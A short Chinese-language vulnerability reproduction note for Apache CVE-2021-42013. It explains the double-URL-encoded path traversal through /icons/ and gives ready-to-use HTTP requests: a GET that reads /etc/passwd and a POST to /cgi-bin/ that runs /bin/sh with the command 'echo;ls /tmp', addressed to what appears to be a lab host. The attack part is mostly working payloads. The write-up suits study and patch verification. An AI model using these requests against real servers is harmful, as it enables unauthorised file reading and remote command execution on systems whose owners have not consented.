apache目录遍历和任意命令执行(CVE-2021-42013)
Apache(CVE-2021-42013)
服务器中存在/icon/目录,并且可以访问,我们就可以将..进行两次url编码,从而遍历其他目录,获得服务器上的敏感信息:系统配置文件,网站源码等。
如果可以调用cgi接口,那么我们就可以利用这个漏洞执行任意命令。
影响版本:Apache 2.4.49 和 Apache 2.4.50,不影响更早的版本。
CGI接口:可以让web服务去执行程序代码。并返回到web文件中。 可以在web服务的conf文件中配置cgi接口的虚拟目录,让访问/cgi-bin/ 就执行代码文件。复现
1. 访问存在漏洞的url,并抓包,修改访问的文件路径
这里需要将 .. 进行两次url编码
GET /icons/.%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd HTTP/1.1
GET /icons/../../../../etc/passwd HTTP/1.1
2. 调用cgi接口,执行任意命令。
这里需要将请求方法转换为POST,使用 /bin/sh ,来执行请求体中的命令。
POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1 Host: 123.58.236.76:37979 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 If-Modified-Since: Mon, 11 Jun 2007 18:53:14 GMT If-None-Match: "2d-432a5e4a73a80" Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 12 echo;ls /tmp